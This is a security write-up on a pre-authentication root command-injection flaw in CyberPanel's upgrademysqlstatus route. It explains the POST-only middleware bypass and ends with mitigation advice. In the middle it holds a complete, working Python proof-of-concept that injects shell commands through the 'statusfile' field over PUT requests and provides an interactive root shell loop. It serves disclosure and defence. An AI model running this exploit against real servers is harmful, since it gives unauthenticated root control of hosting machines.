Security

Pre-Auth Root RCE Vulnerability in CyberPanel: Deep Dive Exploit Analysis

A technical analysis of a vulnerability in CyberPanel, a Pre-Auth Root RCE, including confirmed exploitation paths, investigated components, and research methodology findings.

Wed 30 October 2024

Introduction

This article provides a deep dive into the discovery and exploitation of a Remote Code Execution (RCE) vulnerability in CyberPanel, a Django-based web application used for managing web hosting services such as FTP, SSH, and SMTP. This critical flaw allows unauthenticated attackers to execute arbitrary commands as the root user, raising significant security concerns, particularly given CyberPanel's widespread use on VPS servers.

Our research has revealed that many machines are already compromised, as demonstrated by the image below showing ransomware on affected systems.

image.png
Ransomware on Exploited Systems

Finally, This article is inspired by the research conducted by DreyAnd, which highlights the technical details and bypass mechanisms associated with this vulnerability.


Update as of October 30, 2024

Two CVEs have been assigned along with a security announcement from the CyberPanel maintainers. A patch commit is available here.

  • CVE-2024-51567:

    • Affects upgrademysqlstatus() in databases/views.py.
    • Exploited in the wild by PSAUX in October 2024.
    • The issue arises from bypassing secMiddleware (active only for POST requests) and injecting shell metacharacters into the statusfile property to achieve unauthenticated command execution.
    • Affects versions up to 2.3.6 and the unpatched 2.3.7.
  • CVE-2024-51568:

    • A command injection vulnerability via the completePath parameter in the ProcessUtilities.outputExecutioner() sink.
    • Leads to unauthenticated RCE through /filemanager/upload.
    • Exploited through shell metacharacters supplied to the File Manager upload route.
    • Versions before 2.3.5 are affected.

Vulnerability Overview

  • Vulnerable Component: upgrademysqlstatus route in CyberPanel v2.3.6.
  • Impact: Unauthenticated RCE with root privileges.
  • Exploit Type: 0-click, pre-auth Remote Code Execution.
  • Root Cause: Inadequate authentication checks and unsafe use of subprocess commands.

Code Walkthrough and Analysis

The upgrademysqlstatus() route in the vulnerable CyberPanel version provides critical insights into how the attack surface was identified. Let’s analyze the route to understand the underlying flaw.

Vulnerable Function: upgrademysqlstatus()

def upgrademysqlstatus(request):
    try:
        data = json.loads(request.body)
        statusfile = data['statusfile']

        # Unsafe execution using user input
        installStatus = ProcessUtilities.outputExecutioner(f"sudo cat {statusfile}")

        if "[200]" in installStatus:
            ProcessUtilities.executioner(f"sudo rm -f {statusfile}")
            response = {'error_message': "None", 'requestStatus': installStatus, 'abort': 1, 'installed': 1}
            return HttpResponse(json.dumps(response))

        elif "[404]" in installStatus:
            ProcessUtilities.executioner(f"sudo rm -f {statusfile}")
            response = {'error_message': "None", 'requestStatus': installStatus, 'abort': 1, 'installed': 0}
            return HttpResponse(json.dumps(response))

        else:
            response = {'abort': 0, 'error_message': "None", 'requestStatus': installStatus}
            return HttpResponse(json.dumps(response))

    except KeyError:
        return redirect(loadLoginPage)

Issues with the upgrademysqlstatus function:

  1. Lack of Authentication Checks:

    • The upgrademysqlstatus route can be accessed without any authentication. Normally, sensitive routes should verify user identity through session tokens or middleware checks.
  2. Command Injection:

    • User-controlled input (statusfile) is directly concatenated into a subprocess command (sudo cat {statusfile}).
    • The function executes arbitrary shell commands with sudo privileges, leading to command injection.
  3. Bypassing the Middleware:

    • The app uses secMiddleware to sanitize POST requests. However, this middleware only checks for command injection when the request method is POST.
    • This allows attackers to bypass the middleware by using non-POST methods (e.g., PUT or OPTIONS) while still supplying malicious payloads via request.body.
class secMiddleware:
    HIGH = 0
    LOW = 1

    def get_client_ip(request):
        ip = request.META.get('HTTP_CF_CONNECTING_IP')
        if ip is None:
            ip = request.META.get('REMOTE_ADDR')
        return ip

    def __init__(self, get_response):
        self.get_response = get_response

    ...
    if request.method == 'POST':
        # Security checks are applied only here...
        try:
            data = json.loads(request.body)
            # ...but ignored for non-POST requests.
    ...

Exploitation and Proof of Concept

This section demonstrates how to exploit the vulnerability by bypassing the middleware and injecting arbitrary commands.

Exploit Code

The PoC below demonstrates how to exploit the vulnerability by sending a PUT request to bypass the middleware and inject a command.

import httpx
import sys

def get_CSRF_token(client):
    """Retrieve the CSRF token required for requests."""
    resp = client.get("/")
    return resp.cookies['csrftoken']

def pwn(client, CSRF_token, cmd):
    """Send the malicious command to the vulnerable route."""
    headers = {
        "X-CSRFToken": CSRF_token,
        "Content-Type": "application/json",
        "Referer": str(client.base_url),
    }

    # Command injection via statusfile parameter
    payload = '{"statusfile": "/dev/null; %s; #", "csrftoken": "%s"}' % (cmd, CSRF_token)

    # Bypass middleware by using PUT instead of POST
    response = client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload)
    return response.json().get("requestStatus")

def exploit(target, cmd):
    """Main exploit logic."""
    client = httpx.Client(base_url=target, verify=False)
    CSRF_token = get_CSRF_token(client)
    stdout = pwn(client, CSRF_token, cmd)
    print(stdout)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url>")
        sys.exit(1)

    target = sys.argv[1]
    while True:
        cmd = input("$> ")
        exploit(target, cmd)

Usage

Run the exploit:

python exploit.py https://<target-ip>:8090

Inject arbitrary commands:

$> id
uid=0(root) gid=0(root) groups=0(root)

Mitigation and Recommendations

To prevent similar vulnerabilities in the future, the following steps are recommended:

  1. Centralized Authentication Middleware:

    • Implement authentication checks globally rather than at individual route levels.
  2. Input Validation Across Methods:

    • Apply input validation consistently across all HTTP methods.
  3. Avoid Direct Command Execution:

    • Use libraries like Python's subprocess.run() with proper sanitization of user inputs.
  4. Least Privilege Principle:

    • Avoid running services with root privileges unless absolutely necessary.
  5. If You Have SSH Access:

    • Update your CyberPanel by following the update guide. No further action is required.
  6. If You Don’t Have SSH Access:

    • In some cases, access to port 22 might be restricted by your provider, often due to server overloads or hacking attempts.
    • In that case, contact your provider and request that they enable port 22. Once access is restored, update the panel following the provided instructions.

Conclusion

This pre-auth RCE in CyberPanel highlights the importance of comprehensive authentication, consistent input validation, and secure handling of subprocess commands. Attackers can easily exploit subtle logic flaws, bypass middleware, and escalate privileges to root, demonstrating the devastating impact of overlooked security practices. Until the patch is fully integrated into a stable release, users should immediately apply the patch and restrict access to the vulnerable endpoints.